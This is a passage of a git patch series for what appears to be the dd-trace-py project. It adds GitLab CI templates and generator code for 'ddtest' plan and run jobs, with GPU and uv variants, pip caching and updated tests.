DD_TRACE_AGENT_URL="http://testagent:9126" - ln -s "${CI_PROJECT_DIR}" "/home/bits/project" +# --------------------------------------------------------------------------- +# ddtest job templates. Used by gen_gitlab_config.py for suites with +# `ddtest: true` in suitespec. ddtest owns plan/run + file splitting; riot +# knowledge stays in Riot's command override. +# +# before_script and script share the same shell session in GitLab. Venv +# preparation and activation are handled by Riot for each command. +# --------------------------------------------------------------------------- +.ddtest_base: + extends: .testrunner + services: + - !reference [.services, ddagent] + before_script: + - !reference [.testrunner, before_script] + - unset DD_SERVICE + - unset DD_ENV + - unset DD_TAGS + - unset DD_TRACE_REMOVE_INTEGRATION_SERVICE_NAMES_ENABLED + +.ddtest_base_snapshot: + extends: .ddtest_base + services: + - !reference [.ddtest_base, services] + - !reference [.services, testagent] + before_script: + - !reference [.ddtest_base, before_script] + - ln -s "${CI_PROJECT_DIR}" "/home/bits/project" + +# Plan: discover the venv's suite files and write .testoptimization/. +# No snapshot variant — plan only collects (glob + Datadog API) and sends +# no traces, so the testagent is never needed at plan time. +# --tests-location is a raw glob (ddtest does not combine it with python_files), +# so each Riot venv declares its complete location in DDTEST_TESTS_LOCATION. +.ddtest_plan: + extends: .ddtest_base + script: + - | + set -euo pipefail + export DDTEST_PLAN_AGENT_URL="${_CI_DD_AGENT_URL}" + riot_cmd=(riot -P -v run --pass-env -s) + # Keep at most one planner active per Python version: Riot's nspkgs() + # temporarily modifies namespace-package .pth files in the shared base + # venv. Each hash gets its own worktree, so its hash-specific venv and + # planner output are isolated, but same-Python planners cannot overlap. + declare -A hashes_by_python=() + declare -A plan_workdirs=() + cleanup_worktrees() { + local workdir + for workdir in "${plan_workdirs[@]}"; do + git worktree remove --force "${workdir}" >/dev/null 2>&1 || rm -rf "${workdir}" + done + } + trap cleanup_worktrees EXIT + + # Each plan writes fixed paths below .testoptimization, so give every + # hash its own Git worktree and output directory. + for hash_py in ${RIOT_HASH_PYTHON}; do + _hash="${hash_py%%:*}" + _py="${hash_py#*:}" + _workdir="$(mktemp -d "${TMPDIR:-/tmp}/ddtest-plan.XXXXXX")" + rmdir "${_workdir}" + git worktree add --quiet --detach "${_workdir}" HEAD + # .riot/requirements is tracked, so the directory already exists in + # the worktree. Share only the built base venvs from the artifact; + # hash-specific venvs and their outputs remain worktree-local. + base_venv_count=0 + for _venv in "${CI_PROJECT_DIR}"/.riot/venv_*; do + [[ -d "${_venv}" ]] || continue + ln -s "${_venv}" "${_workdir}/.riot/$(basename "${_venv}")" + ((base_venv_count += 1)) + done + if ((base_venv_count == 0)); then + echo "No base Riot venvs found under ${CI_PROJECT_DIR}/.riot" >&2 + exit 1 + fi + plan_workdirs["${_hash}"]="${_workdir}" + hashes_by_python["${_py}"]+="${_hash} " + done + + # Limit concurrent Python groups because each group may install a + # hash-specific dependency set in the same pod. Four groups preserve + # useful cross-version parallelism without allowing all six versions to + # peak during pip installs and exhaust the planner's memory limit. + plan_parallelism=4 + declare -a plan_pids=() + plan_status=0 + for _py in "${!hashes_by_python[@]}"; do + ( + for _hash in ${hashes_by_python[${_py}]}; do + _workdir="${plan_workdirs[${_hash}]}" + ( + cd "${_workdir}" + "${riot_cmd[@]}" --command \ + 'export DD_TRACE_AGENT_URL="$DDTEST_PLAN_AGENT_URL"; export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; ddtest plan --platform python --framework pytest --tests-location "$DDTEST_TESTS_LOCATION" --min-parallelism "$DDTEST_NODES" --max-parallelism "$DDTEST_NODES"' \ + "${_hash}" + ) + mv "${_workdir}/.testoptimization" "${CI_PROJECT_DIR}/.testoptimization-${_hash}" + done + ) & + plan_pids+=("$!") + if ((${#plan_pids[@]} >= plan_parallelism)); then + if ! wait "${plan_pids[0]}"; then + plan_status=1 + fi + plan_pids=("${plan_pids[@]:1}") + fi + done + + for plan_pid in "${plan_pids[@]}"; do + if ! wait "${plan_pid}"; then + plan_status=1 + fi + done + exit "${plan_status}" + artifacts: + when: always + paths: + - .testoptimization-*/ + expire_in: 1 week + +# Run: execute this CI node's files in the activated venv. +# 4 workers (not ncpu): the testrunner image runs on many-core k8s pods +# where ncpu spawns too many workers and corrupts pytest-cov's sqlite DB; +# matching PYTEST_XDIST_AUTO_NUM_WORKERS=4 from testrunner.yml. +.ddtest_run: + extends: .ddtest_base + script: + - | + # Restore this venv's plan artifact (partitioned by RIOT_HASH in the plan job). + rm -rf .testoptimization + mv ".testoptimization-${RIOT_HASH}" .testoptimization + export COVERAGE_FILE=".coverage.${RIOT_HASH}.${CI_NODE_INDEX}" + riot_cmd=(riot -P -v run --pass-env -s) + # Keep CI Visibility session names tied to the CI job and test command; + # ddtest expands these placeholders for each local worker. + "${riot_cmd[@]}" --command \ + 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 4' \ + "${RIOT_HASH}" + # Consolidate per-worker coverage files into one .coverage file. + # Each xdist worker wrote to its own COVERAGE_FILE; + # 'coverage combine' merges them so coverage can be uploaded. + coverage_files=(.coverage.*) + if [[ -e "${coverage_files[0]}" ]]; then + coverage combine + fi + +.ddtest_run_snapshot: + extends: .ddtest_base_snapshot + script: + - | + rm -rf .testoptimization + mv ".testoptimization-${RIOT_HASH}" .testoptimization + export COVERAGE_FILE=".coverage.${RIOT_HASH}.${CI_NODE_INDEX}" + riot_cmd=(riot -P -v run --pass-env -s) + # Snapshot suites use --ci-node-workers 1 (not 4): the shared testagent + # is session-token-keyed, and parallel xdist workers cause cross-session + # contamination (wrong stats, '400: list index out of range'). + "${riot_cmd[@]}" --command \ + 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; export DD_TRACE_AGENT_URL="http://testagent:9126"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 1' \ + "${RIOT_HASH}" + # Consolidate per-worker coverage files into one .coverage file. + coverage_files=(.coverage.*) + if [[ -e "${coverage_files[0]}" ]]; then + coverage combine + fi + # Required jobs will appear here From 393eba723517c5eb6d8eabaf83f45a73fa8b7987 Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Wed, 2 Sep 2026 09:57:25 +0200 Subject: [PATCH 03/15] ci: use prebuilt ddtest tooling --- .gitlab/testrunner.yml | 2 +- pyproject.toml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/.gitlab/testrunner.yml b/.gitlab/testrunner.yml index 266fb1ee0cb..0f0649d53e2 100644 --- a/.gitlab/testrunner.yml +++ b/.gitlab/testrunner.yml @@ -1,5 +1,5 @@ variables: - TESTRUNNER_IMAGE: registry.ddbuild.io/dd-trace-py:v131882734-d02e020-testrunner@sha256:90890eea305711baf275fcca5824f779708312fe1d9dc1436ee5a303f8d7674d + TESTRUNNER_IMAGE: registry.ddbuild.io/dd-trace-py:v134534459-a190793-testrunner@sha256:d0d692805509330d068d544d6e15182428ff87984ba8de4c0f863edc1aa30170 .testrunner: image: diff --git a/pyproject.toml b/pyproject.toml index 048433a0e74..835e6642207 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -120,7 +120,7 @@ lint = [ "grpcio==1.82.1; python_version>='3.11'", "packaging==23.1", "pygments==2.16.1", - "riot==0.22.0", + "riot==0.23.0", "ruff==0.14.10", "clang-format==18.1.5", "cmake-format==0.6.13", From f631b0dd628168fc9f02bbbeda7c1d3448772c8d Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Wed, 2 Sep 2026 10:03:06 +0200 Subject: [PATCH 04/15] chore(ci): assign ddtest helpers to python-guild --- .github/CODEOWNERS | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index a8fc9139455..b9910522fb3 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -113,6 +113,8 @@ tests/smoke_test.py @DataDog/python-guild tests/suitespec.py @DataDog/python-guild @DataDog/apm-core-python tests/suitespec.yml @DataDog/python-guild tests/utils.py @DataDog/python-guild +tests/_ddtest_conftest_helpers.py @DataDog/python-guild +tests/_ddtest_env_helpers.py @DataDog/python-guild tests/__init__.py @DataDog/python-guild tests/README.md @DataDog/python-guild tests/ddtrace_run.py @DataDog/python-guild From ddb65c0d76cc83f8fa50b41527ace6e51a095141 Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Wed, 2 Sep 2026 11:32:26 +0200 Subject: [PATCH 05/15] fix(ci): address ddtest review feedback --- .gitlab/tests.yml | 55 +++++++++++++++++------- scripts/ddtest_jobs.py | 19 +++++++- scripts/gen_gitlab_config.py | 4 +- tests/internal/test_gen_gitlab_config.py | 26 ++++++----- tests/suitespec.yml | 2 + 5 files changed, 79 insertions(+), 27 deletions(-) diff --git a/.gitlab/tests.yml b/.gitlab/tests.yml index 731327c567c..8604e07f0fc 100644 --- a/.gitlab/tests.yml +++ b/.gitlab/tests.yml @@ -113,7 +113,44 @@ include: - !reference [.ddtest_base, before_script] - ln -s "${CI_PROJECT_DIR}" "/home/bits/project" -# Plan: discover the venv's suite files and write .testoptimization/. +.ddtest_base_gpu: + extends: .ddtest_base + image: !reference [.testrunner_gpu, image] + tags: !reference [.testrunner_gpu, tags] + timeout: 40m + before_script: + - !reference [.testrunner_gpu, before_script] + - unset DD_SERVICE + - unset DD_ENV + - unset DD_TAGS + - unset DD_TRACE_REMOVE_INTEGRATION_SERVICE_NAMES_ENABLED + +.ddtest_base_gpu_snapshot: + extends: .ddtest_base_gpu + services: + - !reference [.ddtest_base_gpu, services] + - !reference [.services, testagent] + before_script: + - !reference [.ddtest_base_gpu, before_script] + - ln -s "${CI_PROJECT_DIR}" "/home/bits/project" + +# Keep GPU ddtest templates hidden until a suite opts in with gpu: true. +.ddtest_plan_gpu: + extends: + - .ddtest_plan + - .ddtest_base_gpu + +.ddtest_run_gpu: + extends: + - .ddtest_run + - .ddtest_base_gpu + +.ddtest_run_gpu_snapshot: + extends: + - .ddtest_run_snapshot + - .ddtest_base_gpu_snapshot + +# Plan: discover the venv's suite files and write .testoptimization/ # No snapshot variant — plan only collects (glob + Datadog API) and sends # no traces, so the testagent is never needed at plan time. # --tests-location is a raw glob (ddtest does not combine it with python_files), @@ -221,15 +258,8 @@ include: # Keep CI Visibility session names tied to the CI job and test command; # ddtest expands these placeholders for each local worker. "${riot_cmd[@]}" --command \ - 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 4' \ + 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 4; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ "${RIOT_HASH}" - # Consolidate per-worker coverage files into one .coverage file. - # Each xdist worker wrote to its own COVERAGE_FILE; - # 'coverage combine' merges them so coverage can be uploaded. - coverage_files=(.coverage.*) - if [[ -e "${coverage_files[0]}" ]]; then - coverage combine - fi .ddtest_run_snapshot: extends: .ddtest_base_snapshot @@ -243,12 +273,7 @@ include: # is session-token-keyed, and parallel xdist workers cause cross-session # contamination (wrong stats, '400: list index out of range'). "${riot_cmd[@]}" --command \ - 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; export DD_TRACE_AGENT_URL="http://testagent:9126"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 1' \ + 'export PYTEST_ADDOPTS="$DDTEST_PYTEST_ADDOPTS"; export DD_TEST_SESSION_NAME="${{CI_JOB_NAME}}-pytest ${{DDTEST_SUITE_PATH}} ${{DDTEST_PYTEST_ADDOPTS}} node-{{{{nodeIndex}}}}-worker-{{{{workerIndex}}}}"; case "$NIGHTLY_BUILD" in true) ;; *) case "$PYTEST_ADDOPTS" in *--no-cov*) ;; *) export PYTEST_ADDOPTS="$PYTEST_ADDOPTS --no-cov" ;; esac ;; esac; export COVERAGE_FILE="$COVERAGE_FILE"; export DD_TRACE_AGENT_URL="http://testagent:9126"; ddtest run --platform python --framework pytest --ci-node "$CI_NODE_INDEX" --ci-node-workers 1; coverage_files=(.coverage.*); if [[ -e "${{coverage_files[0]}}" ]]; then coverage combine; fi' \ "${RIOT_HASH}" - # Consolidate per-worker coverage files into one .coverage file. - coverage_files=(.coverage.*) - if [[ -e "${coverage_files[0]}" ]]; then - coverage combine - fi # Required jobs will appear here diff --git a/scripts/ddtest_jobs.py b/scripts/ddtest_jobs.py index 1c451a4fc61..6d7cdb36c4e 100644 --- a/scripts/ddtest_jobs.py +++ b/scripts/ddtest_jobs.py @@ -11,6 +11,7 @@ - emit_ddtest_jobs: emit plan + run jobs for one ddtest suite """ +import subprocess import typing as t @@ -95,6 +96,7 @@ def emit_ddtest_jobs( config: dict, venvs: list[tuple[str, str]], k: int, + testrunner_image_hash: str, ) -> None: """Emit ddtest-plan and ddtest-run jobs for one suite. @@ -110,6 +112,12 @@ def emit_ddtest_jobs( retry = config.get("retry") timeout = config.get("timeout") allow_failure = config.get("allow_failure", False) + skip_pip_cache = config.get("skip_pip_cache", False) + suite_name = config.get("pattern") or clean_name + env["PIP_CACHE_DIR"] = "${CI_PROJECT_DIR}/.cache/pip" + env["PIP_CACHE_KEY"] = ( + subprocess.check_output([".gitlab/scripts/get-riot-pip-cache-key.sh", suite_name]).decode().strip() + ) base = _ddtest_base(snapshot, gpu) plan_base = _ddtest_base(False, gpu) # plan never needs the testagent plan_tpl = _ddtest_plan_template(gpu) @@ -117,7 +125,6 @@ def emit_ddtest_jobs( job_prefix = f"{stage}/{clean_name.replace('::', '/')}" plan_name = f"{job_prefix}::ddtest-plan" run_name = f"{job_prefix}::ddtest-run" - suite_name = config.get("pattern") or clean_name wait_for = list(services) if snapshot: wait_for.append("testagent") @@ -153,6 +160,14 @@ def emit_variables(extra: t.Optional[dict[str, str]] = None) -> None: for key, value in extra.items(): print(f" {key}: {value}", file=f) + def emit_cache() -> None: + if skip_pip_cache: + return + print(" cache:", file=f) + print(f" key: v1-pip-${{PIP_CACHE_KEY}}-{testrunner_image_hash}-cache", file=f) + print(" paths:", file=f) + print(" - .cache", file=f) + def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: print(" - job: build_base_venvs", file=f) print(" artifacts: true", file=f) @@ -174,6 +189,7 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: print(f"{plan_name}:", file=f) print(f" extends: {plan_tpl}", file=f) print(f" stage: {stage}", file=f) + emit_cache() print(" needs:", file=f) print(" - prechecks", file=f) emit_needs_build_base_venvs(venvs) @@ -210,6 +226,7 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: print(f"{py_run_name}:", file=f) print(f" extends: {run_tpl}", file=f) print(f" stage: {stage}", file=f) + emit_cache() print(" needs:", file=f) print(" - prechecks", file=f) emit_needs_build_base_venvs(py_venvs) diff --git a/scripts/gen_gitlab_config.py b/scripts/gen_gitlab_config.py index 13da5074b63..5634e5fbb5f 100755 --- a/scripts/gen_gitlab_config.py +++ b/scripts/gen_gitlab_config.py @@ -590,7 +590,9 @@ def _gen_tests(suites: dict, required_suites: list[str]) -> None: continue k = _ddtest_module().ddtest_k(suite_config) LOGGER.info("Suite %s: ddtest (venvs=%d, nodes/venv=%d)", suite, len(venvs), k) - _ddtest_module().emit_ddtest_jobs(f, suite, stage, clean_name, suite_config, venvs, k) + _ddtest_module().emit_ddtest_jobs( + f, suite, stage, clean_name, suite_config, venvs, k, TESTRUNNER_IMAGE_HASH + ) continue jobspec = JobSpec(clean_name, stage=stage, python_versions=py_versions, **suite_config) diff --git a/tests/internal/test_gen_gitlab_config.py b/tests/internal/test_gen_gitlab_config.py index ae5b873576e..e4f5e44d9c2 100644 --- a/tests/internal/test_gen_gitlab_config.py +++ b/tests/internal/test_gen_gitlab_config.py @@ -87,19 +87,25 @@ def test_ddtest_requires_a_test_path_for_every_venv(gen_gitlab_config_mod): def test_ddtest_jobs_emit_suite_environment(gen_gitlab_config_mod): output = io.StringIO() - - gen_gitlab_config_mod._ddtest_module().emit_ddtest_jobs( - output, - suite="internal", - stage="core", - clean_name="internal", - config={"env": {"_DD_PYTEST_XDIST_INFERRED_SERVICE": "tests.internal"}}, - venvs=[("abc1234", "3.13"), ("def5678", "3.14")], - k=1, - ) + ddtest_jobs = gen_gitlab_config_mod._ddtest_module() + + with mock.patch.object(ddtest_jobs.subprocess, "check_output", return_value=b"pip-key\n"): + ddtest_jobs.emit_ddtest_jobs( + output, + suite="internal", + stage="core", + clean_name="internal", + config={"env": {"_DD_PYTEST_XDIST_INFERRED_SERVICE": "tests.internal"}}, + venvs=[("abc1234", "3.13"), ("def5678", "3.14")], + k=1, + testrunner_image_hash="image-hash", + ) content = output.getvalue() assert "_DD_PYTEST_XDIST_INFERRED_SERVICE: tests.internal" in content + assert "PIP_CACHE_DIR: ${CI_PROJECT_DIR}/.cache/pip" in content + assert "PIP_CACHE_KEY: pip-key" in content + assert "key: v1-pip-${PIP_CACHE_KEY}-image-hash-cache" in content assert "RIOT_HASH_PYTHON: abc1234:3.13 def5678:3.14" in content run_313_needs = content.split("core/internal::ddtest-run-3.13:", 1)[1].split("\n parallel:\n", 1)[0] run_314_needs = content.split("core/internal::ddtest-run-3.14:", 1)[1].split("\n parallel:\n", 1)[0] diff --git a/tests/suitespec.yml b/tests/suitespec.yml index 7709722d62f..8d4f70c888c 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -290,6 +290,8 @@ suites: tracer: ddtest: true ddtest_nodes: 2 + # Match tracer variants, but keep the uwsgi-only venv on its legacy job. + pattern: ^tracer(?!-uwsgi(?:$|-)) env: _DD_PYTEST_XDIST_INFERRED_SERVICE: tests.tracer DD_TRACE_AGENT_URL: http://localhost:8126 From a7b7e610d5f66107a3415fcc73809ffabd099d83 Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Wed, 2 Sep 2026 16:44:38 +0200 Subject: [PATCH 06/15] fix(ci): synchronize tracer suitespec with ddtest env --- tests/suitespec.yml | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/tests/suitespec.yml b/tests/suitespec.yml index 2230183248d..000f43e3d7c 100644 --- a/tests/suitespec.yml +++ b/tests/suitespec.yml @@ -314,8 +314,11 @@ suites: retry: 2 venvs_per_job: 1 matrix: - command: pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py tests/tracer/ + command: pytest -v {cmdargs} --ignore=tests/tracer/test_uwsgi_shutdown.py ${{DDTEST_SUITE_PATH}} env: + DDTEST_SUITE_PATH: tests/tracer + DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py + DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py DD_CIVISIBILITY_LOG_LEVEL: none DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' _DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS: '50' @@ -348,6 +351,9 @@ suites: matrix: command: pytest -v {cmdargs} tests/tracer/test_uwsgi_shutdown.py env: + DDTEST_SUITE_PATH: tests/tracer + DDTEST_TESTS_LOCATION: tests/tracer/**/test*.py + DD_TEST_OPTIMIZATION_RUNNER_TESTS_EXCLUDE_PATTERN: tests/tracer/test_uwsgi_shutdown.py DD_CIVISIBILITY_LOG_LEVEL: none DD_INSTRUMENTATION_TELEMETRY_ENABLED: '0' _DD_CIVISIBILITY_PARTIAL_FLUSH_MIN_SPANS: '50' From 4d7c75b72dbd374f8b1052e027ab2d4a5dec0bb2 Mon Sep 17 00:00:00 2001 From: Federico Mon Date: Wed, 2 Sep 2026 18:34:13 +0200 Subject: [PATCH 07/15] feat(ci): select ddtest runner for uv suites --- .gitlab/tests.yml | 50 ++++++++++++ scripts/ddtest_jobs.py | 41 +++++----- scripts/gen_gitlab_config.py | 44 +++++++++-- scripts/run-tests | 99 +++++++++++++++++++++++- tests/internal/test_gen_gitlab_config.py | 32 +++++++- 5 files changed, 237 insertions(+), 29 deletions(-) diff --git a/.gitlab/tests.yml b/.gitlab/tests.yml index 40cbb236ce3..95324aff659 100644 --- a/.gitlab/tests.yml +++ b/.gitlab/tests.yml @@ -115,6 +115,56 @@ include: ./scripts/check-diff ".riot/requirements/" \ "Changes detected in committed test locks. Run scripts/compile-and-prune-test-requirements and commit the result." +# --------------------------------------------------------------------------- +# ddtest's uv runner reuses the same suite definitions as normal uv jobs. +# It plans each hash independently because ddtest writes .testoptimization in +# the checkout root, then restores the matching plan in each run matrix job. +.ddtest_base_uv: + extends: .test_base_uv + +.ddtest_base_uv_snapshot: + extends: .ddtest_base_uv + services: + - !reference [.ddtest_base_uv, services] + - !reference [.services, testagent] + before_script: + - !reference [.ddtest_base_uv, before_script] + - ln -s "${CI_PROJECT_DIR}" "/home/bits/project" + +.ddtest_plan_uv: + extends: .ddtest_base_uv + script: + - | + set -euo pipefail + for hash_py in ${TEST_ENVIRONMENT_HASH_PYTHON}; do + environment_hash="${hash_py%%:*}" + scripts/run-tests -s --venv "${environment_hash}" --ddtest-mode plan --ddtest-nodes "${DDTEST_NODES}" + mv .testoptimization ".testoptimization-${environment_hash}" + done + artifacts: + when: always + paths: + - .testoptimization-*/ + expire_in: 1 week + +.ddtest_run_uv: + extends: .ddtest_base_uv + script: + - | + rm -rf .testoptimization + mv ".testoptimization-${TEST_ENVIRONMENT_HASH}" .testoptimization + export COVERAGE_FILE=".coverage.${TEST_ENVIRONMENT_HASH}.${CI_NODE_INDEX}" + scripts/run-tests -s --venv "${TEST_ENVIRONMENT_HASH}" --ddtest-mode run --ddtest-ci-node "${CI_NODE_INDEX}" --ddtest-ci-node-workers 4 + +.ddtest_run_uv_snapshot: + extends: .ddtest_base_uv_snapshot + script: + - | + rm -rf .testoptimization + mv ".testoptimization-${TEST_ENVIRONMENT_HASH}" .testoptimization + export COVERAGE_FILE=".coverage.${TEST_ENVIRONMENT_HASH}.${CI_NODE_INDEX}" + scripts/run-tests -s --venv "${TEST_ENVIRONMENT_HASH}" --ddtest-mode run --ddtest-ci-node "${CI_NODE_INDEX}" --ddtest-ci-node-workers 1 + # --------------------------------------------------------------------------- # ddtest job templates. Used by gen_gitlab_config.py for suites with # `ddtest: true` in suitespec. ddtest owns plan/run + file splitting; riot diff --git a/scripts/ddtest_jobs.py b/scripts/ddtest_jobs.py index 774deda469e..de02ec0a7cf 100644 --- a/scripts/ddtest_jobs.py +++ b/scripts/ddtest_jobs.py @@ -27,9 +27,11 @@ def _get_bool_env(name: str) -> str: return "true" if value == "true" else "false" -def validate_ddtest_venv_test_locations(suite: str, info) -> None: - """Reject ddtest suites whose matched venvs do not declare a test location.""" - missing = [h for h, _py in info.riot_venvs if not (info.venv_test_locations or {}).get(h)] +def validate_ddtest_venv_test_locations( + suite: str, venvs: t.Iterable[tuple[str, str]], test_locations: t.Optional[dict[str, str]] +) -> None: + """Reject ddtest suites whose selected environments lack a test location.""" + missing = [h for h, _py in venvs if not (test_locations or {}).get(h)] if missing: raise ValueError(f"ddtest suite {suite} has venvs without DDTEST_TESTS_LOCATION: {', '.join(missing)}") @@ -58,9 +60,9 @@ def ddtest_k(config: dict) -> int: return int(k) -def _ddtest_base(snapshot: bool, gpu: bool) -> str: +def _ddtest_base(snapshot: bool, gpu: bool, runner: str) -> str: """Return the hidden base template a ddtest suite's before_script references.""" - base = ".ddtest_base" + base = ".ddtest_base_uv" if runner == "uv" else ".ddtest_base" if gpu: base += "_gpu" if snapshot: @@ -68,19 +70,19 @@ def _ddtest_base(snapshot: bool, gpu: bool) -> str: return base -def _ddtest_plan_template(gpu: bool) -> str: +def _ddtest_plan_template(gpu: bool, runner: str) -> str: """Plan template. Plan only collects (glob + Datadog API); it sends no traces, so it never needs the testagent and has no snapshot variant — snapshot suites and non-snapshot suites plan the same way. """ - tpl = ".ddtest_plan" + tpl = ".ddtest_plan_uv" if runner == "uv" else ".ddtest_plan" if gpu: tpl += "_gpu" return tpl -def _ddtest_run_template(snapshot: bool, gpu: bool) -> str: - tpl = ".ddtest_run" +def _ddtest_run_template(snapshot: bool, gpu: bool, runner: str) -> str: + tpl = ".ddtest_run_uv" if runner == "uv" else ".ddtest_run" if gpu: tpl += "_gpu" if snapshot: @@ -97,6 +99,7 @@ def emit_ddtest_jobs( venvs: list[tuple[str, str]], k: int, testrunner_image_hash: str, + runner: str, ) -> None: """Emit ddtest-plan and ddtest-run jobs for one suite. @@ -118,10 +121,10 @@ def emit_ddtest_jobs( env["PIP_CACHE_KEY"] = ( subprocess.check_output([".gitlab/scripts/get-riot-pip-cache-key.sh", suite_name]).decode().strip() ) - base = _ddtest_base(snapshot, gpu) - plan_base = _ddtest_base(False, gpu) # plan never needs the testagent - plan_tpl = _ddtest_plan_template(gpu) - run_tpl = _ddtest_run_template(snapshot, gpu) + base = _ddtest_base(snapshot, gpu, runner) + plan_base = _ddtest_base(False, gpu, runner) # plan never needs the testagent + plan_tpl = _ddtest_plan_template(gpu, runner) + run_tpl = _ddtest_run_template(snapshot, gpu, runner) job_prefix = f"{stage}/{clean_name.replace('::', '/')}" plan_name = f"{job_prefix}::ddtest-plan" run_name = f"{job_prefix}::ddtest-run" @@ -195,12 +198,14 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: emit_needs_build_base_venvs(venvs) emit_services(plan=True) emit_before_script(plan=True) - riot_hashes = " ".join(h for h, _ in venvs) + environment_hashes = " ".join(h for h, _ in venvs) + hash_prefix = "TEST_ENVIRONMENT" if runner == "uv" else "RIOT" emit_variables( { + "DDTEST_EXECUTION_RUNNER": runner, "DDTEST_NODES": str(k), - "RIOT_HASHES": riot_hashes, - "RIOT_HASH_PYTHON": " ".join(f"{h}:{py}" for h, py in venvs), + f"{hash_prefix}_HASHES": environment_hashes, + f"{hash_prefix}_HASH_PYTHON": " ".join(f"{h}:{py}" for h, py in venvs), "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest", } ) @@ -236,12 +241,12 @@ def emit_needs_build_base_venvs(needed_venvs: list[tuple[str, str]]) -> None: print(" artifacts: true", file=f) emit_services(plan=False) emit_before_script(plan=False) - emit_variables({"DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest"}) + emit_variables({"DDTEST_EXECUTION_RUNNER": runner, "DD_TEST_OPTIMIZATION_RUNNER_COMMAND": "pytest"}) print(" parallel:", file=f) print(" matrix:", file=f) for h, _py in py_venvs: for node in range(k): - print(f' - RIOT_HASH: "{h}"', file=f) + print(f' - {hash_prefix}_HASH: "{h}"', file=f) print(f' PYTHON_VERSION: "{py}"', file=f) print(f" CI_NODE_INDEX: {node}", file=f) if retry is not None: diff --git a/scripts/gen_gitlab_config.py b/scripts/gen_gitlab_config.py index 64fe557e384..02259067b62 100755 --- a/scripts/gen_gitlab_config.py +++ b/scripts/gen_gitlab_config.py @@ -38,6 +38,20 @@ def _ddtest_module(): return importlib.import_module("ddtest_jobs") +def _ddtest_execution_runner(info: "SuiteVenvInfo") -> str: + """Select the 